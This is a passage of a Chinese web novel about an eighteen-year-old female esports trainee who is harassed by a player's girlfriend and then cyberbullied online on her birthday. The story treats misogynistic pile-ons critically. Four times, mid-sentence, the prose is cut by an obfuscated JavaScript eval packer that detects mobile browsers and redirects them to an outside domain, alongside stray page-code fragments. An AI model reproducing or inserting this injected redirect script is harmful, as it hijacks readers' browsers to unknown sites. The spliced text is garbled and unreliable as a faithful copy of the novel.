【Foppish】：！！！ 【Foppish】：QAQ你放我出来了 【姜汁汽水】：我睡得挺香 【Foppish】：[乌萨奇流泪] 【Foppish】：我真的错了 【Foppish】：[语音]我真的想了一晚上，确实是我不对，确实是因为我一直看手游所以没怎么听到你们说话，你说什么也没上心。是我让谢回组个局想跟你一起玩，结果打得太随便了……我被Renlu爆线你应该很不开心吧，对不起，对不起嘛 毫无新意的道歉，感觉男人说对不起就是在说流水账。 但汤瑶还是被打动了一点，这种竞技性非常重，以嘴臭和嘴硬为荣的游戏环境里，能主动承认自己不足没有找太荒唐的借口，已经战胜了百分之九十九点九八的人了。毕竟就算是孟麒，昨天丢了N条龙也脸不红心不跳的说是天气不好影响手感了。 【姜汁汽水】：是我要说对不起 【姜汁汽水】：本来大家开开心心娱乐，我太较真了 【姜汁汽水】：但我是认真的 【姜汁汽水】：我真的真的不想谈恋爱，如果你只是为了追我就真的不要再联系了 本来这种回绝应该客气的自谦一下，但她想了半天不知道提自己什么缺点好。真奇怪，她经常会被莫名其妙的自卑情绪左右，但真要说，她又觉得自己缺点再多，又没有影响到别人，哪有什么对不对得起。 【Foppish】：我知道 【Foppish】：只是朋友，我不会要求你不想做的事情 【Foppish】：我是很喜欢你，我喜欢和你相处，所以只要你不推开我，按照你喜欢的方式相处就可以 ……这也太直白了吧！ 【姜汁汽水】：你的好兄弟没有说你这是备胎脑吗 【Foppish】：穷B才喜欢计较得失 【Foppish】：我会跟那些人当朋友吗？ 【Foppish】：徐知睿可说我这叫‘Courtly Love’[可爱]][可爱] 汤瑶去搜了一下，一阵无语。 不过看起来他心态调整得不错，这样她也不用太觉得愧疚。 【姜汁汽水】：我看你是牛头人爱好者 【Foppish】：…… 【Foppish】：未成年要谨言慎行！ 【姜汁汽水】：马上就成了 【Foppish】：什么时候？ 【姜汁汽水】：9月 【Foppish】：哪一天嘛 【姜汁汽水】：你就别想了，我早就有安排了 【Foppish】：就要想 【姜汁汽水】：不要 【Foppish】：[小狗流泪] 【Foppish】：给我一个回礼的机会 好一个ATM成精啊！！ 汤瑶想了半天，画了个饼。 【姜汁汽水】：不用你送，等我过完生日有空了就请你吃个饭 【Foppish】：真的吗 【姜汁汽水】：爱信不信 【Foppish】：[兔子耳朵比心] 【Foppish】：好 * 汤瑶的生日确实有安排了。 元宝今年刚刚毕业，还在找工作和读研之间迷茫，闲着也是闲着，也就打算来S市旅游散散心。为了表达自己的重视，她包揽了两人一起去迪士尼的住宿开销，还把时间定在了自己生日这天。 虽然不是一开始说好的，在灯光璀璨的赛场里相见，但能开开心心的一起玩也很很好。她们是知不无言的好朋友，对于汤瑶来说，元宝比妈妈更要关心了解自己，虽然只是素昧谋面的好友，但给她点十二个男模一直是自己的人生愿望之一。 汤瑶的生日在九月二十号，对她来说生日并没什么特殊意义，毕竟她和母亲没有任何特殊连接。不过这确实是个每人专属的特别日子。因为去从基地出发去哪里都很远，所以她在前一天吃了两粒褪黑素早早睡了。 早上准时在闹钟里醒了过来，打开手机发现还是收到了不少生日祝福。去年这个时候她也已经在基地了，不过那时候大家都不还不熟悉，她没提，也没有人在意。匆匆一年，她也已经是这个大家庭的一员了。 她翻了个身，眯着眼睛一条条回复感谢。 李君诚也发了，卡在凌晨十二点，不过没有多余的话，只是简简单单的四个字。 不知道是好还是不好，上次把话说绝之后他就不怎么找自己了。可能是懂得保持边界感，也可能是知难而退，已经对自己不怎么感兴趣了吧。也不奇怪，他那样的少爷对自己有感情，多半也是出于猎奇。 她一视同仁的客气道谢，又赖了会儿床，就爬起来洗漱化妆，简单和基地的同事队友们说了两句，就出门赶车了。 【Fopiish】：你醒啦 【姜汁汽水】：[车外风景] 【姜汁汽水】：已经在路上了 之前的不愉快已经过去一阵子了，她对他也就没有那股子吹毛求疵的挑剔了。也许……还有那么一点点失而复得的欣慰。既不想接受，可又不太能接受失去，她也知道自己很过分。 【Foppish】：去干什么呢小寿星 【姜汁汽水】：去迪士尼当公主！ 【Foppish】：0.0 对方输入了半天，最后发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326057|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个表情包。 【Foppish】：好，玩得开心 …… 用他说了！ 汤瑶当然玩得很开心。 元宝和照片长得差不多，是个青春洋溢又热情的大学生，就是化妆技术没有了美颜滤镜的加持显得有点潦草。性格到是表里如一，甚至比用文字交流时更犀利。她个子也很高，将近一米七，牵着汤瑶的时候笑眯眯说她是一颗小土豆。 她很阔气的买了VIP通道，然后发现还是要排队，不过还是比普通票方便得多，两个人挨着交换生活里的见闻，就算是站着晒太阳也没有无聊。 九月底天气还是有点热，暴走了一天下来，嘴皮子和腿都受到了重创。还好她们有先见之明，在园内的主题酒店订了房间，休息了再回去。 晚上，等夜宵途中她四仰八叉得躺着P白天拍得照片，元宝就坐在前面看投屏的综艺哈哈大笑。她对着大热的教程一个个拉参数，时不时蛄蛹过去找元宝看看效果，得到好评之后再开始下个环节。正聊得开心，突然弹出一个很久不见的人的名字消息——ZBai。 两人面面相觑。 “他咋又来了。”汤瑶嘀咕说，“估计又是他女朋友。” 白天的时候她们重新复盘了一下上次真白的骚扰，虽然他绝大多数联系自己都能称之为骚扰，但像上次那么没来由的也很少见。所以说起的时候重新翻出聊天记录看了一遍，这样一分析，立刻就发现了口癖并不相同，而且一个劲儿想要听语音就更奇怪了，毕竟他们经常一起玩游戏，就算要说什么也可以直接去频道，再一联系打过去电话一言不发和事后仿佛人间蒸发，一切都在李君诚说他又跟大小姐前女友复合之后得到了合理的答案。 不过虽然还原了真相，两人也没想明白人家找自己是干嘛。 汤瑶还吐槽来着，说之前就盼着他早点复合，以为他复合了就能从自己的世界消失，万万没想到，复合之后竟然是多了一个人骚扰自己。 【ZBai】：有时间吗 “真晦气。”汤瑶皱起眉，“大好的日子，这一对儿公婆又来了。” 【姜汁汽水】：没空 “干嘛还要回他，装不在不就好了。” “没办法呀，没事不回都没关系，可有事的话回不回都要找。” 【ZBai】：想跟你聊聊 “又聊，又聊，有病！” 汤瑶正在翻阴阳怪气的表情包，对面又发了一条新的过来。 【ZBai】：我是张新宇女朋友 【ZBai】：之前他给你的备注一直是韩国代购95折，还把聊天记录全都删了，后来是我俩见面我查手机才发现的不对，他也是在你打电话之后才跟我说了实话。本来都是过去的事情了，我也不想计较，但是我发现前段时间你们又在一起玩游戏。 【ZBai】：真的没有什么要解释的了吗，妹妹？ “呕……呕呕呕！”汤瑶做了几个夸住的呕吐表情，“解释什么啊有病，世界不是围着她的男朋友转的。那特么都是他想蹭李君诚的BUFF才来过几次，谁就跟他一起玩了。晦气，真晦气！……诶，你有那个图没有，你知道的吗?” “哦哦……我猜我好像知道，你别急，我还真存了，等等，我发给你。” 【姜汁汽水】：[河童] 52. 第 52 章 真的很奇怪，占有欲强的男人喜欢把女朋友管得严严实实，然而占有欲强的女人往往没能力把男朋友管得严严实实，但她们总理所当然的认为所有女人应该为她的爱情开路。 不论网络还是现实，女孩子们和异性社交第一步就是要像福尔摩斯一样检查有对方的关系网，不然大概率会在某个平平无奇的夜里收到一个陌生女性的好友邀请，然后就要做一大段呈堂证供，务必要把你和对方男朋友的相处的点点滴滴一字一句的交代清楚，要用坚决的语气和详实的证据撇清关系，站稳道德制高点之后再唾弃男人两句，最好还要像失散多年的至亲一样给够情绪价值，和这个素不相识的人姐妹相称，安慰她那颗为了感情而支离破碎的心。 如果你确实‘清白’，表达能力清晰，态度真诚，对方也足够善良、大度，有一定的逻辑能力和理智，那么她就能耐心的看完你口供，再结合天时地利人和，星座生肖八字风水各种因素，概率给出一个宽容大量的结案陈词——“我知道，不怪你。” 至此，此身终于清白，再不用担心以后被翻案底的时候被发现有过疑似小三或被小三的案底了。 不知道是谁定的规矩，但这种事情在女性之间约定俗成，每个人都认为理所当然。汤瑶一开始也会慌张，也会烦恼，也会为了害怕被打入道德低地费力地在每一场无妄之灾里自证，后来随着见过各种离谱的缘由，又知道了一个用来形容这类女人的新词之后，她就不惯着了。 尤其，今天还是她十八岁的生日。 怎一个晦气了得！ 最开始和真白相遇相遇，汤瑶确实感慨过命运神奇，也有过那么点儿纷飞的心思，让她难过，也让她期许，但这并不稀奇，因为她这个年纪就是在路边摸过一条狗做梦都想着第二天有个兽耳帅哥找自己报恩的时候。总之那些浪漫想象很快就随着了解的增多而烟消云散，甚至是她现在回想起来都头皮发麻的黑历史。 她发了个表情包之后就给对面设置了免打扰，接着回去继续她的修图大业。 “唉，我是真不明白，这些竞男除了那几个长得好看的，就是再普通不过的网瘾少年，怎么就总有那么多大美女倒贴，还爱得这么死心塌地？”元宝很感慨，“我之前还关注过这个冠军嫂子呢，她很会拍照，真白那些被粉丝拿出去安利的很多图都是她拍的。家境又好，长得漂亮，还是国外留学的千金，怎么……怎么干这些事儿。” 汤瑶非常看得开：“安啦，老天爷让每个人都没那么完美，就是为了让我这种一无是处的人有点活头。”她趴在床上，小腿翘起来一摇一晃，正在把照片放到最大，一笔一笔的美化到每个毛孔，“话又说回来，感觉网上很多人还没我聪明。一天到晚就复制那些低脂文案，说什么漂亮是被爱的前提，看到美女感情不顺利，又要说什么还要多漂亮才够……有病！我要漂亮是因为我喜欢，我照镜子的时候会爽，被别人夸也会爽，仅此而已。” “本来你也不笨呀，宝宝，你只是没有遇到好的长辈。”元宝凑过来，拍了拍她的脑袋，有点惋惜的叹气，“我们国家是九年义务制教育，不论如何你都应该上高中的，但是你初中的班主任肯定是为了拿回扣之类什么的才会让一些成绩不好的同学签自愿放弃中考的协议书，这太不负责了。” 叹了口气，语气略微提高了点，“不过，是金子总会发光，这不是在英雄联盟里闪闪发光了吗！毕竟你要是上了普高，可能就没有时间在游戏上深耕了。” “还好啦，我本来也不想读书，打开课本就头疼。”汤瑶不太愿意聊这些，“不过我也没觉得书读得多的人就比我高贵，人生在世，各有各的活法。你看看这个林琳，姐的书是真读到狗肚子里去了！你信吗，我现在切回去，她起码发了20条消息。” 说着切了回去，果然，是一连串令人窒息的60s超长语音。 虽然口口声声说不想被打扰，但本着猎奇的心态，她还是点了下转文字。 果然是一些居高临下的指责，以及对自己外貌的点评攻击，说来说去就是怀疑自己毫无道德底线，明知道男方有分分合合的女友还要试图挖墙脚，简直是毫无底线，不过也不意外，因为她觉得她的脸蛋身材一看就是会做这种道德败坏的事情的人。 “……疯了。”元宝看得目瞪口呆，“她骂他老公有这么难听吗？” “好像有的，李君诚说他俩经常互相动手来着。” 汤瑶忍了又忍，没忍住。 【姜汁汽水】：我都没跟他单独玩过，你把我当假想敌干啥？ 【姜汁汽水】：有这功夫管管你老公在语音厅里那些老相好不行吗 【ZBai】：你怎么知道我没管呢？ 【ZBai】：我每个都要管 【姜汁汽水】：你给我删了不完事了吗 【ZBai】：我是希望你自觉 【姜汁汽水】：逆天 【姜汁汽水】：我从来没有主动找过他一次 【ZBai】：他找你你就不会拒绝了吗？ 【姜汁汽水】：大姐，上次没给你骂爽吗？我还得怎么拒绝？ 【ZBai】：问题是上次你说那么多，后面还不是一起玩吗？你以为我不知道你们游戏里老在一起吗？ 【姜汁汽水】：服了，那是因为我跟Foppish是朋友，Foppish喊我的好吗？ 【ZBai】：这个借口张新宇已经用烂了。 【ZBai】：而起李君诚我也认识，妹妹，他前女友就是我朋友，他喜欢一个女生是什么样子我分得清楚 【姜汁汽水】：666 【姜汁汽水】：赶紧拉黑 【姜汁汽水】：谁先找谁，谁死全家[微笑] 汤瑶拉黑完又往嘴巴上拍了好几下：“我就是贱！跟这种脑子不正常的人讲什么道理。她脑子是不是有问题，只相信自己愿意相信的是吧？连真白这种男人她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326058|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都爱得要死要活，她又能懂李君诚了？” 她越想越膈应，一骨碌爬起来生闷气，“蛇鼠一窝，物以类聚，我现在突然觉得李君诚天天跟这种傻狗混一起，他肯定也不是什么好东西。要不然我还是把他一起拉黑了吧！” “啊啊啊？不要啊不要啊。”元宝大为震撼，连忙出言劝和，“我也不是帮他说话，但……这种理由未免也太可怜了。冷静，冷静！虽然这种逻辑没错，也要具体事情具体分析，你觉得他们是一种人吗？” “不是一种人，怎么会谈一种女朋友？”汤瑶脑门冒火，说不清是心酸是嫉妒还是别的，想说点什么，最后用力地往床一趟，把自己蒙进了被子，连愤怒都戛然而止。 元宝从来到另一边，拍拍她的脑袋，试探着把被子扒开一角，结果就看到一双蓄满泪水的兔子眼睛。愣了一下，然后哈哈大笑起来：“人家骂了你二十分钟你都没事，一句李君诚不是真的喜欢你你就破防了。”她递纸给她擦眼泪，“啧，拿你的嘴去当高地塔，我一把都输不了。” “……我，我哪有啊。”汤瑶很不好意思的裹着被子坐起来，“我是觉得扫兴！我这是无差别攻击！我、我没有很在乎啊，我都没有想跟他谈，我在乎他是不是真心干什么？谁在乎了？你别污蔑了！” “要不然，你把这件事告诉他呗。”元宝提建议道，“既可以给他一个表现的机会，可以考察考察他的各方面。如果他办得很好，就加分加分。反之，也算是看清了他，你也不用这么纠结挣扎了。” “不要。”汤瑶还是想也不想就拒绝。 她瘪着嘴，盘着腿，撕着被眼泪濡湿的纸巾，指腹一捻一撮，纸屑变成许多米粒，“就算他真的做得很好，又怎么样？这是我自己的事情，我不能总指望他。什么都指望别人，那就什么都学不会，一旦我把所有的希望都寄托给别人，那么原本能做到的事情也渐渐做不到，慢慢就会变成连独立行走都做不到的巨婴。” 她说，“很多人都想当小孩，但其实，我很想长大。” 元宝夸张的叹一声气，然后又很轻松的拍拍她的腿：“好啦好啦，你想自己处理也可以。我只是怕这种逻辑崩坏的神经病会阴魂不散，还会影响你很久。” “唉，再说吧，反正我已经删除加拉黑了，怎么也消停了。” 汤瑶调节心情的速度很快，不知道想到了什么，又嘿嘿笑起来。 “笑什么呢？”元宝揉揉肚子，也躺下去，“好饿，今天走太太太多路了，明天起来估计腿会更酸！我看看怎么宵夜还没有来……” 汤瑶说：“我只是想到真白的那些毒唯很多都不喜欢林琳，觉得她脾气太大控制欲又强，几乎每年真白的战队成绩不好，她在微博底下就要被冲一轮。一想到她这么忍气吞声的帮亲亲老公处理莺莺燕燕，还要被那些超爱的粉丝当眼中钉针对，我就觉得好笑。哈哈，我感觉AWA季后赛走不远——贱人自有天收，他们都不会有好下场的！” 53. 第 53 章 每个人都会对于自己人生中的重要节点怀着美好的愿景，成人礼是个包含着少年无数美梦的承载。对于长大，总有不同的定义和想象，在那个意味着生日的日子里，应该穿怎么样的衣服，过什么样的安排，要请什么样的客人，要许下什么愿望。但真正能梦想成真的幸运儿少之又少，如果太贪心，最后注定只能是失望。 汤瑶从不否认自己是个爱幻想的悲观主义者，她从来都确信一切好的东西都不属于自己，所以对于生日总是尽量略过，就算是意味着成人的十八岁，也仅仅是想和要好的朋友见上一面而已。她们在酒店最普通的标间里取出订好的奶油蛋糕，她闭着眼，片刻后吹灭了蜡烛。 什么愿望也没有许。 今年不算是个好年，起码对于女选手们是这样。LADY SHIVA的状况堪忧，虽然嘴很硬，但是一年到头都在被DQ碾压，她似乎没能证明她想要表达的事情，互联网上的争吵和拉踩没有止休，那些在鼎盛时来的代言也一个接着一个的掉，很多人都在唱衰，男性论坛关于牝鸡司晨的讨论更是隔三差五就被顶上去。 虽然汤瑶从不认为自己和孟麒是一类人，但她不得不接受在规则里，她和她是不能分割的命运共同体。为了自己的未来，她非常关注这次季后赛，只有QY走得足够远，在转会期的时候更多的目光才会放到女选手的身上。 季后赛还为尘埃落定， LPL就因为AWA的两轮游掀起了新的风暴。对于一个好歹拿过亚军，今年又高薪补强引入了世冠辅助的队伍来说，连世界赛的门票都没机会争取，实在连差强人意都不配。 粉丝的失望化作滔天怒火，在淘汰的当晚就开展了熟悉的分锅大会。每个人都有罪，比拼的就是粉丝的战斗力，就算游戏里挂着有自己签名的皮肤也不能幸免。关于ZBai的讨伐同样筑起高楼，操作变形、意识脱节、团战梦游……指责铺天盖地，到最后纷纷质疑他这样的年纪和发挥凭什么拿那么高薪资。 ZBai的粉丝也有话说，你觉得ZBai的辅助不行？那你去找个行的辅助来？这多年了，LPL能拿得出来的辅助不就来来去去那几个明星选手吗？成绩靠前的队伍里，很多辅助都只是锦上添花，ZBai是队长，又要操作又要指挥，再看看他的队友，怎么跟别人比？ 吵来吵去，最后大家把矛盾指向了嫂子身上。 是这样子的，有女人先怪女人，没有女人就创造女人身上出来怪女人。成绩，人品，样貌，操作都不能达成共识，但女人是绝对有罪的这一条定律宛如思想钢印，牢牢得钉在每个人的心中。 果然，林琳意料之中的成为了众矢之的。她分分合合的大戏在ZBai好的时候叫虐恋情深，都市小言，但在ZBai不好的时候，就是败家娘们儿，成事不足败事有余。各种恶毒的，充满侮辱的攻击性言论一条条的刷新在她不久前分享的岁月静好记录下。 汤瑶津津有味得翻动着那些言论，心中升起了阴暗的畅快。那种被当做假想敌，恶意揣测的黏腻感，就想是鞋底上的脏东西，蹭不掉又甩不开，无论什么时候回想都让人觉得恶心又无力。现在看到她终于被更汹涌的恶意反噬，心中那些被压抑的委屈和不忿终于得到了纾解——活该。 但这样的幸灾乐祸也没有持续太久，看着那些也许连游戏账号都没有的粉丝联合起来围攻一个在这件事里完全无辜的女性，她的心中又无可避免得觉得悲哀。连带刚刚的阴暗念头都成了污点，被她刻意地甩开了。 算了，往前看吧。这些乌烟瘴气的东西看多了一样恶心。 汤瑶放下手机开始看比赛录像，在做复盘的同时开始为自己挑选未来AD。后来有点困了，迷迷糊糊睡着了。等再起来的时候，发现聊天消息炸了，无数眼生的好友都发来了同一张截图，元宝更是总共发了几十条消息。 截图就是生日那天她和林琳的聊天对话。很多人都问：“真是你吗？” 她翻开微博补课，又在元宝的消息里得知了来龙去脉。 原来是林琳的朋友看不下去她被毒唯辱骂，两个小时前突然开团，发了一大堆聊天记录曝光ZBai私生活混乱。说他冷暴力、反复劈腿、和多位粉丝私联，从好朋友的角度写了林琳在这段感情里经历的伤害以及为什么变成了看客眼里疯疯癫癫的样子。 图文并茂，冲击力十足，只是这样的事情太多太多了，虽然成为了大家讨论的中心，其实每个人都知道，过不了多久就会被忘记的。 只是……这位好朋友的倾向性太明显，在她口中，林琳只是个被煤气灯效应逼疯的可怜恋爱脑。虽然她可恨，但是她也可怜。而且作为正牌女友的她还经常收到各种来历不明小三的挑衅，而她的那张聊天记录，就连头像都没有被打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326059|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码的放在了例子里。 汤瑶辛苦经营直播，和同平台的AD都保持着不错的出镜率，所以她的微信头像不是秘密，几乎不到五分钟，就被解码了。原本还是有些理智的人帮忙说话，认为很有可能是断章取义，然后和持相反意见的审判官在评论里有来有回。 可是，Shark突然也发博了。 他在四十分钟前把年前那段告白小作文发了出来，配文是：原来只有世界冠军才配入你的眼。 这下舆论彻底炸了。 他作为替补只作为轮换打过几场比赛，发挥尚可，其实没什么水花。但就是这样才让人心疼。一个怀揣梦想郁郁不得志的热血深情少年，一个趋炎附势只知道狗眼看人低的网络女神——谁对谁错，一眼就看得出来！ 男人们说“莫欺少年穷”，女人们说“辜负真心的人要吞一万根针”。 几个小时前那点微不足道的、对骚扰者遭报应的阴暗快感，瞬间被碾得粉碎，取而代之的是一种更庞大、更冰冷、更令人窒息的荒谬感。 她想，果然世界的能量是守恒的。在她短暂地嘲笑别人时，命运就躲在暗处，准备好了这桶混杂着冰碴、污水和毒液的混合物，在她全无防备的时候就这么就兜头泼下。哪有什么天道好轮回，不过是恃强凌弱的铁律验印在了自己身上而已。嫂子挨骂，是因为嫂子比选手贱，她挨骂，是因为青训比选手贱，单身的比恋爱贱，女生比男生贱。 ——她是更弱小，更容易被撕碎的。 汤瑶蜷缩在房间里，无边的寒意从脚底蹿道头顶，连呼吸都几乎被冻结。胃也无端端翻搅抽痛起来。她慌乱地卸掉了手机里所有的社交平台，把每个发来疑问的好友都删除拉黑，对着元宝不断发来的，焦急的关切也只是回了个一条连自己也不信的：“我没事。” 她闭上眼睛，却觉得仍在被无数充满恶意的眼睛凝视。 在十八岁的生日那天，她没有许下任何愿望。可是灰暗，冰冷彻骨、密不透风的灰暗还是轰然降临了，把她死死地钉在原地。她的耳朵发出嗡鸣，在分不清现实还是幻想的景象里，讥讽和嘲弄填满听觉，就像是命运在发出嘲笑： 看啊，你的不贪心也救不了你，就连一点点的畅快都要付出代价。 汤瑶，你的人生注定和美好无关。 汤瑶，你的人生马上就要完蛋了—— 54. 第 54 章 诚然，电竞行业是很多普通人咸鱼翻身的圣地。但对于含着金汤匙出生的人来说，给人当赛博牛马，靠飚肾上腺素赚来的那仨瓜俩枣实在不够看。李君诚根本不在乎淘汰之后会有什么血雨腥风，官博还没想好展望未来的文案，他就已经赶着最近的航班去日本呼吸不同口味的空气了。 从酒店落地窗往外看，夜晚的银座很有都市小说里纸醉金迷的气氛，街边的路灯闪着香槟色一样的光，两边霓虹色的灯牌常亮，橱柜里的珠宝和皮具在明度极高的射灯下照出冷冽的光，玻璃上映出来来往往停留又驻足的行人游客身影。 发了会儿呆，才被传来的敲门声打断。 “喏。”穿着时尚的女孩拿出一个有些旧的手机，“我去年的手机不知道哪儿去了，这还是我刚来那年带着的旧手机，充电看看还能不能用。” “无所谓，反正明天都要回去了。不行过几天再来拿呗。” 李君诚有点倒霉，刚下飞机的时候买咖啡，结果不小心把手机摔坏了。因为有VISA卡，所以在机场直接买了个新手机，结果不知道哪里出了问题，新手机在异国完全识别不了国内的卡，没信号也开不了漫游，连带着他国内需要验证的卡和各种支付软件以及通讯软件都用不了。 不过跟他一起上幼儿园的那个发小周微正好在这边留学，所以他直接办了张本地新卡，在LINE上把人摇了过来。反正有钱有朋友，也就没把手机当回事。吃喝玩乐了好几天，临走前一天才想起来几个月前找SA订过一款断货的包，这才改了机票时间，让发小找自己之前的国行旧手机来应急。 他拿手机去插座边坐下了，周微跟着进来，看到沙发上零零散散堆着大大小小总共十八个包装精美的礼盒，识趣的坐到另一边：“啧啧，这么用心，唷，还系蝴蝶结，没见你这么心灵手巧过。” “废话，我哪会，昨天找宝格丽那个柜哥给我弄的。” 李君诚等着手机充电，躺在床边用新手机滑着国际服的游戏，“回去了再订花，把这些放进去，然后花把后备箱塞满，我草，想想都很他妈完美！” “得了吧。”周微一翘二郎腿，也玩起手机，“土了吧唧的，说了你是臭直男审美你不听，到时候人女孩儿吐槽你可别找我哭。” “你懂个Der！绝对好看，花也都是我挑的。等下我上微信找链接给你看。” 李君诚说着看了下手机已经有了点电量，就把旧卡换进去，开机。 终于登上了阔别已久的微信，在扑面而来的各种代表99+的未读消息中，唯独置顶中的有一栏是灰着的。苹果的信号不好，光是等信息收录就转了很久很久，终于他还用另一个手机把新号福利攒下来的卡全抽了。 等转回来的时候，随便点了几个进去看，都是些别人十万火急但是自己压根懒得回的。倒是很意外的，那个三人小群里自己被轮流艾特了很多次，谢回和徐知睿也发了不少私聊。 他乐呵呵点进去，发了个表情诈尸，往上翻了翻—— （四天前） 【下周日】：[转发：真是越扒越有] 【下周日】：@L1 【下周日】：什么情况 （两天前） 【OuO】：我草了，怎么什么地方都有人偷拍 【OuO】：@L1 【OuO】:我跟她纯纯金钱交易啊，别误会 【OuO】:@L1 你人呢 【OuO】:死了？ （3分钟前） 【L1】：[你爹来了] 【下周日】：？ 【下周日】：天都塌了，现在知道来 什么情况，李君诚一向不关注八卦，很多瓜不是喂到嘴边都不吃。实在是小群里的氛围奇怪，他才将信将疑打开几天前的那则论坛八卦，然后僵在了原地。 讨论的主角不是别人，正是汤瑶。而且经过了五天的发酵，在一个不过几千人的小组里竟然有了七百多条回复。帖名也经过修改，现在已经是：《未成年女选手在青训玩现实乙游之AD全是我的鱼塘（爆料可私/合集贴）》 主楼：实在太零碎了，我这边搬个整合的。 [Ginger首播日礼物截图]x9，分别介绍选手以及锐评 补充锐评：被楼里的姐妹笑死，隔壁某扑说这是车票哈哈哈哈 —— [Ginger和退役AD选手VOS直播五排切片] 不经意的语气词，笑声，大大咧咧的玩笑全都被单独截了出来，附上煞有介事的解读。 再就是摄像头里并不宽松的衣服和露出来的肩膀。 [呕吐][呕吐]……早就说这就是个擦边妹，以前还有人怼我。 终于体验了等到讨厌的人塌房，现在她终于被全世界讨厌的盛世了！ - [某书定位在Y城的捞帅哥截图/李君诚在自助餐厅剥虾] [Shark微博发出来的连麦时间和聊天记录] 难怪看不上青训小子哈，还别说，姐还对男人还挺颜控（没有羡慕的意思），网上来者不拒，但发展下来的都是好看的。我现在就想知道有没被她恶心过的帅哥竞男吗？（补充：悲！Deserve也沦陷了！一起打过永劫三排！） [S市/穿得像五金柜成精的男生，戴着克罗心的手虚搭在女生肩膀，送她上车] [呕][呕]MIFA是不是疯了，我宁愿他还给LADY SHIVA当舔狗。 …… …… …… 高赞评论1：[微笑]其实现实就是这样，小三根本就不用多么漂亮，只要够贱就行了。男人都一样，喜欢倒贴的，越越不要脸越好，反正他们都不会亏。 高赞评论2：唉，其实也挺能懂LL的。以前年轻的时候错付过渣男，真的会发疯失去理智 高赞评论3：有一说一，审美不错，全LPL帅哥都给姐蹭到了 高赞评论4：笑死，你们全在塌房，只有我们老任出现在各种切片对面暴打你们 …… 文字像是淬毒的藤蔓，每看一句，就被绞紧一些，就算只是匆匆翻过，就算只是第一页的内容，就让李君诚喘不过气了。 那些字眼，那些图片，那些躲在ID后面倾泻而出的、原始的、愚蠢的、令人作呕的恶意好像是一根根刺，穿透了他摇摇欲坠的理智防线。 他就连切出去的时候，手指都在颤抖。他的脑子发白，被巨大的荒诞感吞没。他不明白，他不明白……这些聚集在一起理直气壮，用最恶毒罪名攻击一个女性的‘判官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326060|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’们，其实也出现所有竞圈相关的风暴里，在没有女人的斗争中，总是会用‘是否维护女性’当做互相攻击的重要评判。 竞男辱女，不尊重女性，吵吵嚷嚷两三天，总会产出那么一两篇文采斐然关于自尊关于自爱的小作文在一时间传看，但只需要一点时间或者几场胜利，所有人就都默契地忘记了。不论在那种时候如何声明大家是命运共同体，不论怎么义正言辞的说要对女人宽容，但一旦到了具体的女人，就变成了“她真是太坏了她例外”——这样的“但是”和“例外”，每个月每一天都会出现在她们的‘正义’之锤下。 一股强烈的眩晕感猛地袭来，眼前的景象开始模糊，边缘泛起细碎的、闪烁的雪花点。耳边响起一阵尖锐的、持续的耳鸣，，瞬间淹没了房间里所有其他的声音，只剩下那令人头皮发麻的嗡鸣。那嗡鸣声仿佛来自地狱，与他胸腔里沉重的、擂鼓般的心跳声交织在一起，形成一种令人窒息的噪音。 她才刚刚十八岁……她的人生才刚刚开始啊。 她本应该像他笨拙地为她挑选的礼物一样，包裹着对未来的探知和一点微小的期待，也许还有一些失落，一些迷茫，以及独属于她的尖锐和自负。但决不是，也不应该……像这样被世界的恶意剥光，在十八岁的年纪被命运的手掼向地狱的峭壁，自尊和人生都被践踏得一文不值。 李君诚大口大口喘气，身体不受控制的发抖。 模糊的视线突然有了一线清明——是滚烫的液体落到了屏幕上。 接着第二滴、第三滴、巨大而无声的痛苦让他不能自抑制，眼泪模糊了跳动的文字，电子屏幕的边缘在水的晕染下，边缘有奇幻的七彩光晕。他死死握着手机，指节因为过度用力透出死寂一样的青白色，手背上的血管狰狞得暴凸出来。 